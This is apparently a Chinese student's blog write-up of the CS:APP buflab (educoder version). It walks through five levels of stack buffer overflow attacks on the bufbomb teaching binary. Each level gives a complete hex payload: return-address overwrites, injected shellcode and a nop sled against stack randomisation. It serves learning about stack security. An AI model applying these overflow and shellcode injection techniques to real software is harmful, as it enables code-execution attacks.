[csapp]buflab(educoder版)作答记录

一、实验目的

  利用字符输入,对程序的栈进行攻击,破坏栈的结构,从而起到“攻击”的效果。通过这样的练习,来加强对程序栈的理解,以及在执行leave、ret、nop等语句时,寄存器%rbp,%rsp,%rip的变化。

二、实验过程

  本次实验使用的操作系统为Ubuntu 20.04。

预先准备

  从官网上下载buflab-handout,里面有三个程序文件:bufbomb、hex2raw和makecookie。

  bufbomb便是本次实验将要被攻击的程序了。因为要做的是educoder上的训练(educoder上的bufbomb和官网上的有所不同),所以需要从educoder上单独下载bufbomb,并覆盖handout中的bufbomb。

  虽然程序不同,但要求却是相同的。因此,仍然可以使用官网上的readme32.pdf文件,查看实验要求及提示。

  和bomblab一样,首先需要对bufbomb进行反汇编:

objdump -d bufbomb > bufbomb.asm

  得到bufbomb.asm,此即bufbomb的汇编文件,双击在代码编辑器中打开,拖至屏幕右侧。

  新起一个终端,拖至屏幕左侧,输入gdb bufbomb,进入到调试界面中,准备对bufbomb进行调试。

level 0: Candle

  readme32.pdf文件中,已经列出bufbomb中的test()函数的c语言代码:

void test()
{
    int val;
    /* Put canary on stack to detect possible corruption */
    volatile int local = uniqueval();
    val = getbuf();
    /* Check for corrupted stack */
    if (local != uniqueval()) {
    	printf("Sabotaged!: the stack has been corrupted\n");
    }
    else if (val == cookie) {
        printf("Boom!: getbuf returned 0x%x\n", val);
        validate(3);
    } else {
    	printf("Dud: getbuf returned 0x%x\n", val);
    }
}

  大概意思是想说明:在test()函数中,会读取用户输入的信息,随后对用户输入信息后的各变量进行判断,如果满足某些条件,就会触发一些输出语句的执行。

  而level 0中则是说,在bufbomb这个程序中,已经事先定义好了一个叫做smoke()的这个函数:

void smoke()
{
    printf("Smoke!: You called smoke()\n");
    validate(0);
    exit(0);
}

  当这个函数被调用时,就会在屏幕上打印:“Smoke!: You called smoke()”。

  而现在,我们的目标就是,在test()函数中的getbuf()函数里:

/* Buffer size for getbuf */
#define NORMAL_BUFFER_SIZE 32

int getbuf()
{
    char buf[NORMAL_BUFFER_SIZE];
    Gets(buf);
    return 1;
}

  让语句return 1无法跳转回到原来的test()函数中,取而代之的,是跳转到smoke()函数。

  想要达到这样的效果,首先还是需要对函数栈的相关内容进行一下回顾。

  现在,假设一个函数执行结束了,栈顶指针rsp指向了栈顶,而栈帧指针rbp则指向了栈中存放调用者地址(Addr(caller))的下面那个位置:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-okdm5Yc7-1607000505827)(C:\Users\蔡三圈\AppData\Roaming\Typora\typora-user-images\image-20201122161424581.png)]

  现在,执行汇编语句中的leave语句(在有些程序中似乎是没有这一句的,但在bufbomb中有),则会让rsp移动到rbp的位置,并且将栈中的%rbp给pop出来,返还给%rbp寄存器(栈中存储的%rbp值,是在调用这个函数前的时候,rbp所指向的位置)。此时rsp回到了Addr(caller)的位置:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-7C8RcxX5-1607000505833)(C:\Users\蔡三圈\AppData\Roaming\Typora\typora-user-images\image-20201122162406858.png)]

  在leave后,执行ret语句。ret语句的作用为:将位于栈顶的Addr(caller)给弹出来,并赋值给%rip寄存器,将其作为下一条要执行的指令在内存中的地址:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-y7N26Xhc-1607000505836)(C:\Users\蔡三圈\AppData\Roaming\Typora\typora-user-images\image-20201122162640938.png)]

  这样一来,不仅栈弹“干净”了,rbp恢复了,下一条要执行的指令也成功地回到调用者在调用后的相应位置了,这便是leave和ret语句的作用。

  回到bufbomb中。现在就可以明白这一点了:返回到哪个地址处,实际上是由Addr(caller)的值决定的。而getbuf中获取的用户的输入,会从地址低一些的地方开始,从下往上存储(小端存储模式将低字节放在低地址处)。如果输入的字符数太多的话,在程序没有进行相应预防措施的情况下,就会挤到Addr(caller)的这个位置,从而使得ret语句执行后,将不再会回到原本该回去的Addr(caller)处,取而代之的,是挤入Addr(caller)的输入值。

  现在已知smoke()位于虚拟地址0x8048b04处,因此,要让ret执行后,rip跳转到0x8048b04处,只需在Addr(caller)处将对应的地址改为0x8048b04就可以实现了。

  现在的关键问题就是:如何修改Addr(caller)处的值。前面已经提到,用户的输入是从下往上存放在栈中的,在超过一定的数量后,就会挤压到Addr(caller)的位置。因此,只要知道输入是从栈的哪里开始存放的,以及Addr(caller)是存在哪个位置的,就可以计算出需要从第多少个输入开始放置地址了。

  getbuf的汇编语句如下:

08049284 <getbuf>:
 8049284:	55                   	push   %ebp
 8049285:	89 e5                	mov    %esp,%ebp
 8049287:	83 ec 38             	sub    $0x38,%esp
 804928a:	8d 45 d8             	lea    -0x28(%ebp),%eax
 804928d:	89 04 24             	mov    %eax,(%esp)
 8049290:	e8 d1 fa ff ff       	call   8048d66 <Gets>
 8049295:	b8 01 00 00 00       	mov    $0x1,%eax
 804929a:	c9                   	leave  
 804929b:	c3                   	ret

  在gdb中,输入下述语句:

br *0x8049284 #断点1
br *0x8049295 #断点2

  随后输入run -u caimx(-u表示指定用户名,不同的用户名会生成不同的Cookie,Cookie在后期会用到)运行程序,在断点1处执行:

i r

  查看寄存器的情况,发现%rsp=0x55683ca4,说明Addr(caller)正是位于这个地方。

  在断点2处查看寄存器的情况,则发现%rsp=0x55683c68,这是栈顶位置,并不代表用户的输入是从这里开始存放的。

  现在尝试对程序输入一连串的十六进制的ff,以方便查看究竟是从栈中的哪个位置开始记录的。新建一个文本文档solution_0.txt,在里面输入数十个ff,随后打开终端,输入:

./hex2raw < solution_0.txt > solution_0_raw.txt

  这一步主要是将十六进制的字符串,转换为能够直接输入到栈中的格式,在run的时候,也需要使用solution_0_raw.txt。现在:

run -u caimx < solution_0_raw.txt

  程序在断点1停下来了,输入c继续执行,使其在断点2停下。随即开始打印内存各地址处的信息:

x/4 *0x55683c68@4

  这样可以从内存的0x55683c68地址处开始,逐个打印十六进制信息,并且按下回车后,会继续接着往后打印。一开始打印的都是随意的十六进制,而从0x55683c78开始,则全变成了ff。因此,可以确定的是,用户输入的信息是从0x55683c78开始存放的。

  而之前所得知的,0x55683ca4是Addr(caller)的位置,它与用户输入开始的地方相差0x55683ca4-0x55683c78=0x2c=44字节。因此,只要先在前面垫上44字节的信息,最后再填入地址信息,就可以破坏程序栈中原本应该return回去的地方了。smoke()函数位于0x8048b04处,按小端存储的规律,对应的输入为04 8b 04 08。最后,在solution_0.txt中输入:

ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 04 8b 04 08

  然后:

./hex2raw < solution_0.txt > solution_0_raw.txt

  最后在gdb中:

run -u caimx < solution_0_raw.txt

  即可看见这句话:”Smoke!: You called smoke()“,至此完成level 0的通关。

level 1: Sparkler

  本关要求与level 0差不多,要求最后不返回到test(),而是跳转到fizz(int val)函数中:

void fizz(int val)
{
    if (val == cookie) {
        printf("Fizz!: You called fizz(0x%x)\n", val);
        validate(1);
    } else
    	printf("Misfire: You called fizz(0x%x)\n", val);
    exit(0);
}

  只不过,本关还多了一个条件:要求在test()函数中定义的变量val的值,被修改为cookie的值。

  在上一关的基础上,这里所需要额外考虑的,就只有如何修改val值了。要修改val值,就应该在栈中找到它的位置,然后像“挤掉”Addr(caller)一样,把它原有的值也给“挤掉”,替换为cookie值。

  fizz函数对应的汇编码:

08048b2e <fizz>:
 8048b2e:	55                   	push   %ebp
 8048b2f:	89 e5                	mov    %esp,%ebp
 8048b31:	83 ec 18             	sub    $0x18,%esp
 8048b34:	8b 55 08             	mov    0x8(%ebp),%edx
 8048b37:	a1 04 e1 04 08       	mov    0x804e104,%eax
 8048b3c:	39 c2                	cmp    %eax,%edx
 8048b3e:	75 22                	jne    8048b62 <fizz+0x34>
 8048b40:	b8 cb a5 04 08       	mov    $0x804a5cb,%eax
 8048b45:	8b 55 08             	mov    0x8(%ebp),%edx
 8048b48:	89 54 24 04          	mov    %edx,0x4(%esp)
 8048b4c:	89 04 24             	mov    %eax,(%esp)
 8048b4f:	e8 dc fc ff ff       	call   8048830 <printf@plt>
 8048b54:	c7 04 24 01 00 00 00 	movl   $0x1,(%esp)
 8048b5b:	e8 ce 08 00 00       	call   804942e <validate>
 8048b60:	eb 14                	jmp    8048b76 <fizz+0x48>
 8048b62:	b8 ec a5 04 08       	mov    $0x804a5ec,%eax
 8048b67:	8b 55 08             	mov    0x8(%ebp),%edx
 8048b6a:	89 54 24 04          	mov    %edx,0x4(%esp)
 8048b6e:	89 04 24             	mov    %eax,(%esp)
 8048b71:	e8 ba fc ff ff       	call   8048830 <printf@plt>
 8048b76:	c7 04 24 00 00 00 00 	movl   $0x0,(%esp)
 8048b7d:	e8 9e fd ff ff       	call   8048920 <exit@plt>

  其实只需要看前几行:

08048b2e <fizz>:
 8048b2e:	55                   	push   %ebp
 8048b2f:	89 e5                	mov    %esp,%ebp
 8048b31:	83 ec 18             	sub    $0x18,%esp
 8048b34:	8b 55 08             	mov    0x8(%ebp),%edx
 8048b37:	a1 04 e1 04 08       	mov    0x804e104,%eax
 8048b3c:	39 c2                	cmp    %eax,%edx
 8048b3e:	75 22                	jne    8048b62 <fizz+0x34>

  就可以发现,有一个值为0x804e104的地址上的值,被赋值给了寄存器%rax,而(%rbp+8)上的值,则被赋值给了寄存器%rdx。然后,再拿它们进行比较。这很明显是在暗示这是val与cookie之间的对比,但究竟谁是谁?

  在gdb中:

print (char *)0x804e104

  屏幕上显示:

Cannot access memory at address 0x804e104

  在程序中设置断点,然后运行程序,停在断点处后,再次print (char *)0x804e104:

$2 = 0x804e104 <cookie> "W"

  看到了“cookie”字样,说明%rax是存储cookie值的,而%rdx则是存储val值的。

  在getbuf函数对应的汇编码中,分别在push %ebp等语句上添加断点,并在断点处观察%rsp、%rbp的变化,发现push %ebp时,%rsp会减少4个字节,到达0x55683ca0处。而此后%ebp指向的则正是这里。现在,已知val值存储在(%ebp+8)处:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Bd7kh7Od-1607000505840)(C:\Users\蔡三圈\AppData\Roaming\Typora\typora-user-images\image-20201122172100583.png)]

  则只需在上一关的基础上,对返回地址做对应的修改,并再延长4字节abcd(对应cookie值),将val的值更改为abcd即可。

  关于cookie值,由于之前每次run的时候都会提示:
  Userid: caimx
  Cookie: 0x381a0057

  因此在这里就不用官方提供的cookie生成器来查看自己的cookie了,将0x381a0057这个cookie值记录下来,以小端存储的形式:57 00 1a 38,追加到原有的solution_0.txt的最后面,另存为solution_1.txt。

  同时将之前return到的smoke的地址,更换为fizz的地址:2e 8b 04 08,即完成了文本的编辑。

  转换格式,run,屏幕显示:Fizz!……(后面的不记得是什么内容了……)

  兴高采烈地将solution_1.txt中的这个结果粘贴到educoder上,然后就……测试结果:未通过T_T。去educoder服务器的命令行一看,发现在educoder上,user默认为2016010305:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-E5BmTX38-1607000505843)(C:\Users\蔡三圈\AppData\Roaming\Typora\typora-user-images\image-20201122172731004.png)]

  因此,从现在起,在本机上也用这个user。这个user的cookie为0x3d91b195,相应地将文本修改为:

ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 2e 8b 04 08 ff ff ff ff 95 b1 91 3d

  随后再粘贴回educoder,就通过了。

level 2: Firecracker

  还是与level 0和level 1一样,最后不返回到test中,而是返回到bang(int val)中:

int global_value = 0;

void bang(int val)
{
    if (global_value == cookie) {
        printf("Bang!: You set global_value to 0x%x\n", global_value);
        validate(2);
    } else
    	printf("Misfire: global_value = 0x%x\n", global_value);
    exit(0);
}

  level 2相对于level 0有一个更进一步的要求:全局变量global_value的值必须要被设定为cookie的值。而全局变量与level 1中的val不同,后者就在%ebp上面,而前者则离得非常地远,以至于直接把它“挤掉”的方法是不可行的。

  首先还是得找到这个全局变量的位置。bang函数对应的汇编码为:

08048b82 <bang>:
 8048b82:	55                   	push   %ebp
 8048b83:	89 e5                	mov    %esp,%ebp
 8048b85:	83 ec 18             	sub    $0x18,%esp
 8048b88:	a1 0c e1 04 08       	mov    0x804e10c,%eax
 8048b8d:	89 c2                	mov    %eax,%edx
 8048b8f:	a1 04 e1 04 08       	mov    0x804e104,%eax
 8048b94:	39 c2                	cmp    %eax,%edx
 8048b96:	75 25                	jne    8048bbd <bang+0x3b>
 8048b98:	8b 15 0c e1 04 08    	mov    0x804e10c,%edx
 8048b9e:	b8 0c a6 04 08       	mov    $0x804a60c,%eax
 8048ba3:	89 54 24 04          	mov    %edx,0x4(%esp)
 8048ba7:	89 04 24             	mov    %eax,(%esp)
 8048baa:	e8 81 fc ff ff       	call   8048830 <printf@plt>
 8048baf:	c7 04 24 02 00 00 00 	movl   $0x2,(%esp)
 8048bb6:	e8 73 08 00 00       	call   804942e <validate>
 8048bbb:	eb 17                	jmp    8048bd4 <bang+0x52>
 8048bbd:	8b 15 0c e1 04 08    	mov    0x804e10c,%edx
 8048bc3:	b8 31 a6 04 08       	mov    $0x804a631,%eax
 8048bc8:	89 54 24 04          	mov    %edx,0x4(%esp)
 8048bcc:	89 04 24             	mov    %eax,(%esp)
 8048bcf:	e8 5c fc ff ff       	call   8048830 <printf@plt>
 8048bd4:	c7 04 24 00 00 00 00 	movl   $0x0,(%esp)
 8048bdb:	e8 40 fd ff ff       	call   8048920 <exit@plt>

  注意到0x804e10c和0x804e104这两个地址在其中出现过,在gdb中分别进行打印:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-HSuL2FcB-1607000505846)(C:\Users\蔡三圈\AppData\Roaming\Typora\typora-user-images\image-20201122174115852.png)]

  发现前者是global_value,后者是cookie。至此,它们的位置就找到了。

  现在的问题就是,如何修改global_value的值?之前用到的完全靠往栈里面堆东西的方法已经不能用了。文档上提示,可以往栈里面去堆汇编码(所对应的十六进制码),然后让它去执行这些汇编码来达到目的。

  乍一看觉得挺奇怪的:为什么还会执行栈里面的代码?想了一会才想明白:程序栈也是内存的一部分,而执行代码本来就是执行内存中的代码。因此,只要把执行代码的位置给移到栈里面的某个位置上,它就会执行栈里面的代码了。平时之所以不会执行栈中的代码,是因为它们的距离实在是太远了。或者说,他们设计到那个位置,是因为不希望被作为代码执行。

  那么,如何将执行代码的位置给移到栈中?前面提到过,ret语句会给%rip寄存器返回地址值,而下一条要执行的指令又是由%rip的值决定的。所以,只要把Addr(caller)的值给改为栈中的地址值,程序就会接着执行栈中的指令。当然,还有一个需要注意的地方,就是在自定义语句执行完后,还需要再跳转到bang函数中。这是因为第一次return的机会用在了跳转到栈上面,那么就必须在栈上的语句执行完毕后再跳到bang函数,这样才满足了需求。

  另一个问题是,既然需要在栈中自定义指令,那么如何获得自定义指令所对应的汇编码?在网上搜到的方法为:先写出汇编语言,然后利用gcc编译器转换为.o对象文件,最后再用objdump反汇编的方式转回带有十六进制码的汇编语言文件。这样操作,即可得到十六进制码。

  由于换了用户名,因此程序栈的地址也相对发生了偏移。重新进行测量,发现Addr(caller)现在位于0x556838d4处,而对于用户的输入,则是从0x55683ba8开始存储。

  因此,新建一个文件solution_2.s,在里面输入:

movl $0x3d91b195, 0x0804e10c
push $0x08048b82
ret

  第一行表示将cookie值移到全局变量上,第二行表示将bang函数的起始地址压入栈中。这样一来,在第三行的ret执行后,就会从栈中弹出刚才压入的值,从而让%rip取0x08048b82,随即跳到bang函数处。

  现在,使用gcc,将solution_2.s转换为solution_2.o:

gcc -m32 -c solution_2.s

  随后:

objdump -d solution_2.o > solution_2.asm

  得到了带有十六进制的汇编码:


solution_2.o:     文件格式 elf32-i386


Disassembly of section .text:

00000000 <.text>:
   0:	c7 05 0c e1 04 08 95 	movl   $0x3d91b195,0x804e10c
   7:	b1 91 3d 
   a:	68 82 8b 04 08       	push   $0x8048b82
   f:	c3                   	ret    

  将这些十六进制码组合起来,从栈中0x55683ba8开始堆积,即可让rsp从0x55683bd4处获取取代了原来的ret的地址:0x55683ba8,将程序跳转到0x55683ba8处执行,执行完毕后再将程序跳转至0x8048bf3处,以执行bang函数。这样一来,global_value的值被修改为cookie了,同时也能进入bang函数了。

  综上所述,level 2的输入如下:

c7 05 0c e1 04 08 95 b1 91 3d 68 82 8b 04 08 c3 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff a8 3b 68 55

  转换格式后,拿到gdb里面run,屏幕输出Bang!……表示通关。

level 3: Dynamite

  与前面几个level的不同之处在于:level 3不再允许返回到其他函数,而是要求一定要返回cookie到test函数中,并不能更改%rbp和%rip的值(因为%rbp和%rip在执行了程序栈中的语句后,其值必然会变得与没有遭受到攻击的程序运行时对应的值不同。攻击后的%rbp值会对应攻击时在那个位置上所设下的值,而%rip则会对应栈顶的那个值)。

  因此,level 3的要点就在于:在执行完栈中的语句后,恢复%rip和%rbp的值。

  其中,%rip的值只要在最后设置为test函数中的Addr(caller),即call 8049284 <getbuf>后的0x8048bf3处即可。这可以通过在ret之前,往栈中压入这个值来实现(ret时会直接弹出栈顶元素赋值给%rip,而此时栈顶元素就是想要恢复的%rip值)。

  而%rbp的值则需要手动恢复(通过mov来实现)。在test函数中设置断点(在进入getbuf函数前设置),然后在断点处查看%rbp的值,发现是0x55683c00,因此这就便最后要恢复的%rbp值。和level 2一样,在汇编码中对%ebp使用movl语句来实现。

  综上所述,可以写出汇编码:

movl $0x3d91b195, %eax
movl $0x55683c00, %ebp
push $0x08048bf3
ret

  第一行表示将返回值更改为cookie值,第二行表示恢复%ebp值,而第三行则是将待恢复的%rip值压入栈中,第四行ret时则直接弹栈一次,恢复%rip,使得下一个要执行的指令又回到了test函数中。

  使用与level 2同样的方法,得出带十六进制的汇编码:


solution_3.o:     文件格式 elf32-i386


Disassembly of section .text:

00000000 <.text>:
   0:	b8 95 b1 91 3d       	mov    $0x3d91b195,%eax
   5:	bd 00 3c 68 55       	mov    $0x55683c00,%ebp
   a:	68 f3 8b 04 08       	push   $0x8048bf3
   f:	c3                   	ret    

  剩下的操作就和level 2一样了,还是从0x55683ba8处开始堆积输入,并在Addr(caller)处注入a8 3b 68 55以执行栈中指令:

b8 95 b1 91 3d bd 00 3c 68 55 68 f3 8b 04 08 c3 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff a8 3b 68 55

  转换格式,run,通过。

level 4: Nitroglycerin

  level 4的要求与level 3的要求是一样的,只不过在level 4中,使用的是testn函数。这个函数的特点就是:在每次运行时,栈的位置都会发生偏移。简单地说,就是在level 3或更早的level中,对于固定的用户2016010305,栈顶地址永远都是0x55683b98,这样我们就可以像打靶一样,经过多次调试来精确获得这个函数栈的所有详细信息。而level 4则使得这项举动变得几乎不可能,因为每次的栈的位置都会发生偏移:这次运行的栈顶地址为A,下次可能就是B,而下下次则可能就是C……

  因此,前面level 3所用的在栈的固定位置开始注入可执行汇编码的办法就行不通了,必须得想出更好的办法。

  这个时候就需要提及nop这个汇编语句了。nop语句的作用很简单,就是让%rip的值增加1,然后执行%rip+1地址处的语句。因为这个特性,nop语句也被叫做“雪橇”:在不进行任何改动的情况下,直接向前“滑动”一个字节,并执行相应位置的语句。

  估计是为了体现出栈的不稳定性,level 4需要单独使用run -u 2016010305 -n进行调试,每次调试都会重复运行五次程序。在经过多次断点调试后,发现getbufn函数(testn函数会调用getbufn函数)在每次的五次重复运行中,%rbp的先后取值总是固定的5个数(即使用run运行两次程序之间并不会有随机性),在我这里是这样的(每个人的情况情况应该因-u参数而异):

重复次数输入区开始位置
10x556839c8
20x556839b8
30x55683968
40x55683948
50x556839b8

  每次运行,都是这样的结果。由此可以确定,无论如何,输入区开始位置最大都不会超过0x556839c8。

  接下来是测量这个栈的长度,由getbufn:

0804929c <getbufn>:
 804929c:	55                   	push   %ebp
 804929d:	89 e5                	mov    %esp,%ebp
 804929f:	81 ec 18 02 00 00    	sub    $0x218,%esp
 80492a5:	8d 85 f8 fd ff ff    	lea    -0x208(%ebp),%eax
 80492ab:	89 04 24             	mov    %eax,(%esp)
 80492ae:	e8 b3 fa ff ff       	call   8048d66 <Gets>
 80492b3:	b8 01 00 00 00       	mov    $0x1,%eax
 80492b8:	c9                   	leave  
 80492b9:	c3                   	ret    
 80492ba:	90                   	nop
 80492bb:	90                   	nop

  可以得知,从Addr(caller)开始,到栈顶共有0x218+0x4=0x21c=540字节的距离。而使用与前面几个level相同的方法,查看输入区的开始位置时,发现还是在距离栈顶16字节处开始的。因此,从输入区到Addr(caller)共有540-16=524字节的距离。

  栈的结构大致如下:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zMfTmGVP-1607000505847)(C:\Users\蔡三圈\AppData\Roaming\Typora\typora-user-images\image-20201122113545375.png)]

  现在,考虑栈在内存中的随机位置,按五次重复运行得到的五种结果,将栈的相对位置大致地画出来:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jRpccQOf-1607000505849)(C:\Users\蔡三圈\AppData\Roaming\Typora\typora-user-images\image-20201122201508340.png)]

  只要随机偏移量没有那么大,而栈的输入区域又足够地长,那么就总能在输入区中找到公共的空间。只要将Addr(caller)处的值设为输入区公共空间中的任意一个位置,即可保证一定能够执行用户输入的语句。

  如果将执行语句紧贴着%ebp,在剩余的空白处全部填上nop,保证Addr(caller)处的地址一定能够定位到nop区域的话,就可以让程序从nop区域开始,按下图中的箭头方向,一个字节一个字节地“滑”向执行语句处。这样一来,就能够保证目标语句一定能够执行了:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ZtiNwWMe-1607000505850)(C:\Users\蔡三圈\AppData\Roaming\Typora\typora-user-images\image-20201122201724240.png)]

  另一个问题便是如何恢复%rbp值(%rip值还是固定的,所以与level 3方法一样。但%rbp值却因为随机性,而无法只用一个固定值恢复)。在testn函数中,有一个让%rsp比%rbp小0x28=40字节的操作:

 8048c55:	89 e5                	mov    %esp,%ebp
 8048c57:	83 ec 28             	sub    $0x28,%esp

  而在这之后,一直到调用getbufn函数的时候,都没有再进行过任何压栈、弹栈的指令,也没有明面上修改过%rsp和%rbp的值。由此可以确定,在调用getbuf函数前,%rsp比%rbp低0x28=40字节。

  在输入到栈中的自定义语句中,会进行%ebp值的恢复。而在进入到栈中执行自定义语句时,已经执行过ret函数了。而在执行ret函数的时候,会进行弹栈操作,rsp会从Addr(caller)的位置继续向上移动。也就是说,rsp现在正好是处在call getbufn之前的状态,即比原来的%rbp低40字节的位置上。

  因此,要在自定义语句中恢复%ebp值,只需将(%esp+0x28)的值赋值给%ebp就可以了。level 4的自定义语句如下:

movl $0x3d91b195, %eax
lea 0x28(%esp), %ebp
push $0x08048c67
ret

  其中,第三行的0x08048c67是testn中,调用了getbufn后,要执行的下一条语句的地址。

  将其转换为带有十六进制的版本:


solution_4.o:     文件格式 elf32-i386


Disassembly of section .text:

00000000 <.text>:
   0:	b8 95 b1 91 3d       	mov    $0x3d91b195,%eax
   5:	8d 6c 24 28          	lea    0x28(%esp),%ebp
   9:	68 67 8c 04 08       	push   $0x8048c67
   e:	c3                   	ret    

  共有15字节,这15字节应该紧贴Addr(caller)的所在位置,而从输入区的开始到这15个字节以前的部分则应全由nop(对应的十六进制为0x90,在readme32.pdf中有所提及)填充。nop应该有524-15=509个,在solution_4.txt中输入509个"90"(可以用Python进行循环输出,随后复制粘贴进文本文档),然后再跟上上述的15字节的十六进制汇编码,最后再是那个一定会处在nop区域的地址(这里使用的是0x556839c8,这是输入区的底线的最大可能取值):

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 b8 95 b1 91 3d 8d 6c 24 28 68 67 8c 04 08 c3 c8 39 68 55

  转换格式,按照readme32.pdf里面提及的、使用-n的方式去run,程序自动重复运行五次后,通过。

三、实验总结

  在本次“对程序栈进行攻击”的实验中,充分地体验了一把作为黑客的感觉(也许)。黑客总是能够利用程序的各种安全漏洞,对栈展开攻击,从而造成不同程度上的破坏。因此,在编写程序时,需要随时注意在内存上可能会出现的漏洞,以防被加以利用,从而造成财产等各种方面上的损失。

  另一方面,此次实验在bomblab的基础上,继续加深了对gdb调试工具的熟练程度。同时,也对%rsp、%rbp和%rip寄存器,leave、ret和nop指令有了更深程度的了解。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值